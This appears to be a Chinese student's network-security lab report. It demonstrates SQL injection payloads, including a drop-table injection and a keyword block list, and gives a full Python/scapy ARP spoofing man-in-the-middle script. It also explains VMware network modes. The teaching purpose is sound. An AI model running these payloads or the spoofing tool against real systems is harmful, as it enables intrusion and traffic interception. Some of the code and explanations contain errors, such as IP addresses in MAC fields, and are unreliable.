网络安全第三次实验汇报

  • 一、SQL 注入(SQL Injection)
  • 演示 SQL 注入
  • 简单了解WEB项目
  • SQL 注入的原理(3个SQL语句)
  • 从代码看 SQL 注入原理
  • 何为预处理语句?
  • 为什么预处理语句可以防止 SQL 注入?
  • SQL注入学校官网(过滤SQL关键字)
  • 威力更强的SQL注入
  • 后话
  • 二、教你用 Python 写个 arpspoof
  • arpspoof 是什么?
  • 什么是 ARP 双向欺骗
  • 了解 scapy 模块
  • 了解 ARP 报文结构
  • 使用 scapy 模块 查看 报文结构
  • 代码编写
  • 引入需要的模块
  • 获取必要的参数(构造ARP)
  • 进行双向欺骗
  • 缓冲表修复
  • 测试脚本
  • 将脚本改的更通用
  • 三、虚拟机配置中的常见问题
  • 简单介绍桥接模式、NAT模式、主机模式
  • 桥接模式网络不稳定,主机与虚拟机不处于同一个局域网下?
  • 如果虚拟网络编辑器中没有 Vmnet0
  • 后话


这个是我的实验汇报的笔记,这里还有实验课题: 网络信息安全实验 — 网络攻击技术实验 但是。。。实验汇报和实验过程关系不大,哈哈哈

这次的课题比较高大上,但是是面向比较基础的的同学;

我觉得不管水平如何,听完应该都是会有收获的。

一、SQL 注入(SQL Injection)

SQL 注入攻击是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中,再在后台SQL服务器上解析执行进行的攻击,它目前是黑客对数据库进行攻击的最常用的手段之一。

演示 SQL 注入

在本机上启动 SpringBoot 项目,

由于本机 IP 为:192.168.3.3,项目端口设置为8989

故在虚拟机上输入下列网址可以访问该项目:

192.168.3.3:8989/ems/index

首先给大家演示一下 SQL 注入可以达到的效果。

以下是本次用到的简单 SQL 注入语句:

123 or '1' = '1'
'hello' or 'a' = 'a'
222 or true

这几次密码都是不一样的,并且与数据库中的存储的密码都不同,却可以登录成功,

我们把这种攻击称作 SQL注入

简单了解WEB项目

想要知道 SQL 注入的原理,我们要简单了解一下 WEB 项目。

WEB 项目的结构是很复杂的,我们这里简单介绍一下我们需要了解的部分,

当用户在登陆界面输入用户名和密码以后,后台是如何判断登录成功或是登录失败

  • 其实就是将用户输入的用户名和密码作为参数,去数据库中查询对应的信息,如果输入的用户名和密码与数据库中的信息对的上,那么就会登录成功,否则就会登录失败。(简略版,实际要更复杂)

SQL 注入的原理(3个SQL语句)

要说原理,还是从 mysql 的查询语句开始看比较容易理解。

首先,我们来看一个最简单的 SQL 语句。(配合 mysql 中的 ems 数据库演示)

SELECT * FROM t_user 
WHERE username = 'zhenyu' 
AND password = '123456';

以上这个是可以从数据库中查询到信息的,因为 WHERE 子句的条件成立


好,我们再看一个 SQL 语句。

SELECT * FROM t_user 
WHERE username = 'zhenyu' 
AND password = '111';

这个 SQL 语句明显是得不到结果的,因为 WHERE 子句的条件不成立

即数据库中没有 用户名为 zhenyu,密码为 111 的数据。


那么有没有办法让 WHERE 子句的条件强行成立呢?

那自然是有的啦,请看下一条 SQL 语句:

SELECT * FROM t_user 
WHERE username = 'zhenyu' 
AND password = '111'
OR '1' = '1';

没错,这就是最简单的 SQL 注入。

从代码看 SQL 注入原理

利用 123 or '1' = '1' 登录。

其实我们开启了 SpringBoot 的日志功能是可以看到执行的SQL语句的。

以下是 MyBatis 框架生成 有风险 的 SQL 语句:

select id, username, realname, password, sex 
from t_user 
where username='zhenyu' 
and password=123 or '1' = '1'

以下是 MyBatis 框架生成的 可以预防SQL注入的 的 SQL 语句:

select id, username, realname, password, sex 
from t_user 
username=? 
and password=?

预防 SQL 注入的关键在于 预处理语句,也就是代码中出现的这个 ?,具体请看下面。

何为预处理语句?

简单介绍一下,用于 Java程序 和 数据库 之间的数据传输的途径是 Statement 接口

具体类的实现有 3 个:我们主要了解一下 StatementPreparedStatement,第三个不用管。

  • Statement:用于对数据库进行通用访问,使用的是静态SQL
  • PreparedStatement:用于预编译模板SQL语句,在运行时接受 sql 输入参数
  • CallableStatement

对于 静态SQL,所有的 SQL 都是进行拼接,再看上面框架生成的有风险的 SQL:

select id, username, realname, password, sex 
from t_user 
where username='zhenyu' 
and password=123 or '1' = '1'

对于 预处理语句:在 SQL 模板中,使用 ? 作为占位符,再看上面的框架生成的安全的SQL:(将用户输入的内容变成了参数,使得 SQL 关键字 or 不生效了)

select id, username, realname, password, sex 
from t_user 
where username = ?
and password = ?

为什么预处理语句可以防止 SQL 注入?

是因为它 把单引号'转义了,在单引号前面加了一个斜杠,变成了 \',这样一来,就无法截断 SQL 语句,进而无法拼接 SQL 语句,基本上没有办法注入了。

这么说可能不够直观,让我们直接看SQL语句。就比如我们上面的例子中,

我们传入的用户名是:zhenyu、密码是:123 or '1' = '1'

对于 静态SQL 来说,拼接成了:

select id, username, realname, password, sex 
from t_user 
where username='zhenyu' 
and password=123 or '1' = '1'

对于 预处理语句 来说,实际上变成了:

select id, username, realname, password, sex 
from t_user 
where username='zhenyu' 
and password='123 or \'1\' = \'1\''

SQL注入学校官网(过滤SQL关键字)

学校官网使用 123 or '1' = '1',看看是什么效果呢?

状态码简介:

  • 200 表示可以正常访问
  • 403 表示 禁止访问(没有权限)
  • 404 表示找不到页面

为什么会这样呢?其实很简单,就是对用户输入的信息进行一个判断,如果包含某些 SQL 语句的关键字比如 ORAND 等,那么就认为该用户有非法操作。(这也是预防SQL注入的方法一种,但更推荐直接使用预处理语句,也可以将两者结合使用)

一般判断输入是否合法都会使用 正则表达式 ,这是为了防止误判,比如某个人的密码为 HUORE,如果只是普通的字符串匹配的话,匹配到OR便会认为这个密码非法。

但是我这里为了省事,就用字符串匹配的方式写的代码。

String ban[] = {"or", "'or'", "OR","'OR'", "drop", "'drop'", "DROP", "'DROP'"};
for (String b : ban) {
    if (password.contains(b)) {
        return "/ems/forbid"; // 禁止页面
    }
}

威力更强的SQL注入

你以为 SQL 注入的危害就那么一点点吗?我们来看一个稍微严重一点的。

123; drop table t_user;

实际生成的 SQL 语句:

select id, username, realname, password, sex 
from t_user
where username='zhenyu' 
and password=123; 
drop table t_user;

看到效果了吗,现在是不是觉得 SQL 注入比想象中的要恐怖呢?

SQL 备份:

CREATE TABLE `t_user` (
  `id` varchar(40) NOT NULL,
  `username` varchar(40) DEFAULT NULL,
  `realname` varchar(40) DEFAULT NULL,
  `password` varchar(40) DEFAULT NULL,
  `sex` varchar(8) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `t_user` VALUES ('1', 'zhenyu', '陆振宇', '123456', '男');

后话

此时,相信大家对 SQL 注入的原理有个初步的了解了,当然这只是最简单的一种,

几乎没有任何实用性,因为现在的网站一般都会使用 预处理语句 来预防 SQL 注入,

安全性更高的会还对用户的输入进行严格的过滤。

据我了解,只要安全意识足够,预处理语句 是 100% 可以防范住 SQL 注入的,(如果只是过滤关键字依旧有可能拼接成功,所以更建议使用 预处理语句

而黑客找的漏洞其实找的就是 安全意识方面的漏洞,例如:

  • 很多老旧项目,安全意识不足,不使用 预处理语句
  • 没有在所有的 数据库操作中 使用预处理(有时候自己都没有意识到,因为这不会影响程序正常运行)
  • 不排除 SQL 注入和其他攻击方式结合起来,黑客自己造出了 SQL 注入点

黑客的智慧是无穷无尽的,正如简单的 SQL 语句你我都知道,可又曾想到如此简单的语句隐藏着如此大的威胁与漏洞。

二、教你用 Python 写个 arpspoof

arpspoof 是什么?

相信大家做过实验应该对 ARP欺骗 不陌生,arpspoof 是一款进行 arp欺骗 的工具。

什么是 ARP 双向欺骗

这个我相信其他同学会讲的很清楚,所以我这里就简单介绍一下。

简单来说就是:有三个角色

  • 目标主机(被攻击)
  • 本机(攻击人)
  • 网关(相当于看门的)

双向欺骗指的是:本机(攻击方) 同时欺骗 目标主机(被攻击方)网关

  1. 本机(攻击方)向网关发送数据报文,告诉网关:我是目标主机
  2. 本机(攻击方)向目标主机发送数据报文,告诉目标主机:我是网关

网络安全服务工程师项目经验怎么写_网络安全服务工程师项目经验怎么写

由此可以得出编程的大致思路:

  • 学会 构造数据包发送数据包:利用 python 的 scapy 模块
  • 了解 ARP报文的结构,才知道要发送什么样的报文(例如我是目标主机、我是网关这种包要如何发出)

代码大体结构:

  • 获取必要的参数(获取一些 构造 ARP 包必要的参数)
  • 进行双向欺骗(构造 ARP 包并发送,开始进行欺骗)
  • 缓冲表修复(攻击结束后,让目标重新可以上网)

了解 scapy 模块

scapy官方文档

scapy 是一个 python 模块,使用简单,作用是:构造各种数据包

我们编写 arpspoof工具 就需要用它来 构造 ARP 数据包 并且发送。

了解 ARP 报文结构

报文结构是十分复杂的,但是对我们来说,要了解的其实没有那么多。

对我们来说只要关心 操作码源硬件地址源协议地址目标硬件地址目标协议地址

ARP 报文结构分为两部分:以太网链路层 (所有报文共有的)和 ARP 报文数据

网络安全服务工程师项目经验怎么写_数据库_02

(下面的英文单词要了解一下,因为编程中变量命名的规范都是根据这个来的)

以太网链路层

  • 目标以太网地址:目标 MAC 地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。
    dst —— destination:目标
  • 源以太网地址:发送方 MAC 地址。
    src —— source:源
  • 帧类型:以太类型,ARP 为 0x0806。
    type:类型

ARP 报文数据

  • 硬件类型:如以太网(0x0001)、分组无线网。
    hwtype —— hardware + type
  • 协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。
    ptype —— protocol + type
  • 硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。
    hwlen —— hardware + type
  • 协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。
    plen —— protocol + length

上面的部分基本都是固定,下面才是是我们需要了解的。

  • 操作码:操作码, 默认为 1,1表示请求,2表示应答(我们用的都是2)
    op —— operation
  • 源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址
    hwsrc —— hardware + source
  • 源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址
    psrc —— protocol + source
  • 目标硬件地址:n个字节,n由硬件地址长 度得到,一般为目标MAC地址
    hwdst —— hardware + destination
  • 目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址
    pdst —— protocol + destination

完整报文格式:对我们来说只需要关心 操作码源MAC地址源IP地址目标MAC地址目标IP地址

网络安全服务工程师项目经验怎么写_数据库_02

使用 scapy 模块 查看 报文结构

from scapy.all import *

查看默认的以太网头部

>> LS(Ether()) # 查看默认的以太网头部

dst        : DestMACField                        = 'ff:ff:ff:ff:ff:ff' (None)
src        : SourceMACField                      = '18:1d:ea:a1:f7:34' (None)
type       : XShortEnumField                     = 36864           (36864)

查看 ARP报文

>> ls(ARP()) # 查看ARP报文

hwtype     : XShortField                         = 1               (1)
ptype      : XShortEnumField                     = 2048            (2048)
hwlen      : FieldLenField                       = None            (None)
plen       : FieldLenField                       = None            (None)
op         : ShortEnumField                      = 1               (1)
hwsrc      : MultipleTypeField                   = '18:1d:ea:a1:f7:34' (None)
psrc       : MultipleTypeField                   = '192.168.3.3'   (None)
hwdst      : MultipleTypeField                   = '00:00:00:00:00:00' (None)
pdst       : MultipleTypeField                   = '0.0.0.0'       (None)

代码编写

引入需要的模块

#-*- coding:utf-8 -*-
from scapy.all import *
from scapy.layers.l2 import ARP, getmacbyip
import sys

获取必要的参数(构造ARP)

为什么需要这些参数,后面 双向欺骗 的时候会说到,先了解下获取哪些参数。

进行 ARP 欺骗需要以下的必要参数:网卡网关IP(网关MAC)、目标IP(目标MAC)

  • 【网卡】(interface):Kali 下使用 ifconfig 查看
  • 【网关 IP 地址】(gateway_ip):Kali 下使用 route -n 查看,
    网关 MAC 地址(gateway_mac):通过 getmacbyip(gateway_ip) 获取
  • 【目标主机 IP 地址】(target_ip):Windows 下使用 ipconfig /all 查看
    目标主机 MAC 地址(target_mac):通过 getmacbyip(target_ip) 获取
def main():
    conf.verb = 0 # 关闭提示信息
    
    # 网卡 (在kali上运行该脚本)
    interface = "eth0"
    conf.iface = interface # 设置网卡
    
    # 网关 IP 地址
    gateway_ip = "192.168.3.1"
    # gateway_ip = input("请输入当前局域网的网关IP地址:")
    
    # 目标主机 IP 地址
    target_ip = "192.168.3.3"
    # target_ip = input("请输入你想攻击的IP地址: ")
    
    
    print("[*] 网卡: %s"%interface )
    
    # 获取网关 MAC 地址
    gateway_mac = getmacbyip(gateway_ip)
    
    if gateway_mac is None:
        print("[!] 获取网关MAC失败. Exiting...")
        sys.exit(0)
    else:
        print("[*] 网关: %s MAC: %s"%(gateway_ip, gateway_mac))

    # 获取目标主机 MAC 地址
    target_mac = getmacbyip(target_ip)
    if target_mac is None:
        print("[!] 获取目标主机MAC失败. Exiting...")
        sys.exit(0)
    else:
        print("[*] 目标主机: %s MAC: %s"%(target_ip, target_mac))

    # 获取了 【网关IP】、【网关MAC】、【目标IP】、【目标MAC】 后, 开始进行 ARP双向欺骗
    attack_target(gateway_ip, gateway_mac, target_ip, target_mac)

if __name__ == "__main__":
    main()

进行双向欺骗

双向欺骗指的是:本机(攻击方) 同时欺骗 目标主机(被攻击方)网关

  1. 本机(攻击方)向网关发送数据报文,告诉网关:我是目标主机
  2. 本机(攻击方)向目标主机发送数据报文,告诉目标主机:我是网关

网络安全服务工程师项目经验怎么写_网络安全服务工程师项目经验怎么写


经过上面获取参数,我们已经获得了:网关IP网关MAC目标IP目标MAC

那么本机(攻击方)要如何告诉网关,我是目标主机呢?

就是通过 ARP 包的操作码源MAC地址源IP地址目标MAC地址目标IP地址格式

其实就是构造一个 ARP 包,然后将 ARP 包的报文格式中,以上属性分别设置一下:

  • 操作码设置为 2,表示 应答(这个就当固定即可)
  • 将这个包的 源IP地址 设置为 目标主机的 IP 地址,相当于是说:我是目标主机
  • 目标MAC地址目标IP地址 都设置为 网关,表示这个包要发给 网关
# 欺骗网关, 我是目标主机
'''
发送给网关(gateway_ip)
欺骗它:
	我的 IP 是 target_ip(我是目标主机)
	我的 MAC地址 是 hwsrc(默认本机)
'''
poison_gateway = ARP() # 构造 ARP包
poison_gateway.op = 2 # ARP应答
poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)
poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关
poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关

那么本机(攻击方)要如何告诉目标主机,我是网关呢?和上面几乎一样:

构造一个 ARP 包,然后将 ARP 包的报文格式中,做以下设置:

  • 操作码设置为 2,表示 应答(这个就当固定即可)
  • 将这个包的 源IP地址 设置为 网关的IP地址,相当于是说:我是网关
  • 目标MAC地址目标IP地址 都设置为 目标主机,表示这个包要发给 目标主机
# 开始欺骗目标主机, 我是网关
'''
发送给目标主机(target_ip)
欺骗它:
	我的 IP 是 gateway_ip(我是网关)
	我的 MAC地址 是 hwsrc(默认本机)
'''
poison_target = ARP() # 构造 ARP包
poison_target.op = 2 # [操作码]ARP应答
poison_target.psrc = gateway_ip # [源IP地址]我的 IP 是 gateway_ip(我是网关)
poison_target.pdst = target_ip # [目标 IP 地址]
poison_target.hwdst = target_mac # [目标 MAC 地址]

完整的实现双向欺骗的代码:

'''
进行双向欺骗
'''
def attack_target(gateway_ip, gateway_mac, target_ip, target_mac):
    '''
    首先使用 scapy 构造 ARP包, ARP 报文结构详见笔记
    [op]: 操作码, 默认为 1, 对我们来说固定使用 2
    	1为 ARP请求, 2为 ARP应答
    [hwsrc]: 发送方 MAC 地址, 用于告诉对方我的 MAC 地址是什么, 默认为本机, 采用默认即可
        hw —— hardware:硬件, src —— source:源, 也就是自己
    [psrc]: 发送方 IP 地址, 用于告诉对方我的 IP 地址是什么, 可以用来【伪装】
    下面两个属性决定报文发给谁:
    [hwdst]: 目标 MAC 地址
        dst —— destination:目的地
    [pdst]: 目标 IP 地址
    '''
    
    # 开始欺骗目标主机, 我是网关
    '''
    发送给目标主机(target_ip)
    欺骗它:
        我的 IP 是 gateway_ip(我是网关)
        我的 MAC地址 是 hwsrc(默认本机)
    '''
    poison_target = ARP() # 构造 ARP包
    poison_target.op = 2 # ARP应答
    poison_target.psrc = gateway_ip # 我的 IP 是 gateway_ip(我是网关)
    poison_target.pdst = target_ip # 目标 IP 地址
    poison_target.hwdst = target_mac # 目标 MAC 地址
    
    # 欺骗网关, 我是目标主机
    '''
    发送给网关(gateway_ip)
    欺骗它:
        我的 IP 是 target_ip(我是目标主机)
        我的 MAC地址 是 hwsrc(默认本机)
    '''
    poison_gateway = ARP() # 构造 ARP包
    poison_gateway.op = 2 # ARP应答
    poison_gateway.psrc = target_ip # 我的 IP 是 target_ip(我是目标主机)
    poison_gateway.pdst = gateway_ip # 目标 IP地址, 发送给网关
    poison_gateway.hwdst = gateway_ip # 目标 MAC地址, 发送给网关
    
    
    print("[*] 正在进行ARP投毒. [CTRL-C 停止]")
    while True:
        try:
            # 不停的发送 ARP包 
            send(poison_target)
            send(poison_gateway)
            # 休眠一下, 避免太频繁的欺骗, 影响网络
            time.sleep(2)
        # 捕获键盘中断
        except KeyboardInterrupt:
            # 进行 ARP缓冲修复
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
            break
    print("[*] ARP投毒结束...")

缓冲表修复

讲到这里估计时间已经很紧了,所以这个就略过吧;

只需要知道这个的作用是 攻击结束后,让目标重新可以上网

'''
arp 缓冲表恢复
'''
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    print("[*] 恢复ARP缓冲...")

    send(ARP(op=2, psrc=gateway_ip, pdst=target_ip,
        hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_ip), count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
        hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))

测试脚本

将脚本复制到 linux 下,python3 arpspoof.py 运行即可。

将脚本改的更通用

现在的问题是只能攻击指定主机,我们修改一下,就可以变成一个通用的安全工具了。

三、虚拟机配置中的常见问题

简单介绍桥接模式、NAT模式、主机模式

虚拟机的连接方式:我们主要根据 是否与真实电脑平级 来区分。

  1. NAT(网络地址转换,虚拟机可以上网,但不能和物理机通信)----- VMnet8
    相当于把你的网卡当做路由器,形成了一个新的局域网,所以与真实机器不是平级的,相当于真实电脑的下一级
  2. bridge (桥接,虚拟机与物理机在地位上相等,相当于与物理机在同一局域网的物理机) — VMnet0
    简单来说,桥接模式就相当一个宿舍中,你和你舍友的电脑都连着同一个WIFI。开启了桥接模式的虚拟机就相当于你舍友的电脑。也就是说桥接模式下的虚拟机与真实机器平级
  3. host only(仅主机模式,虚拟机之间可以通信,与物理机不能通信)----- VMnet1
    这个就更简单了,它与你当前主机的网络是隔离开来的,单独形成了一个网络(默认情况是不能上网的),但是如果你电脑上开着多个虚拟机,他们会处于这个单独的网络中,是可以构成一个局域网的。

桥接模式网络不稳定,主机与虚拟机不处于同一个局域网下?

VMvare 任务栏 —— 编辑 —— 虚拟网络编辑器,进入后点击右下角的 更改设置

将 VMnet0 的桥接模式的 自动 修改为 当前所连接的网络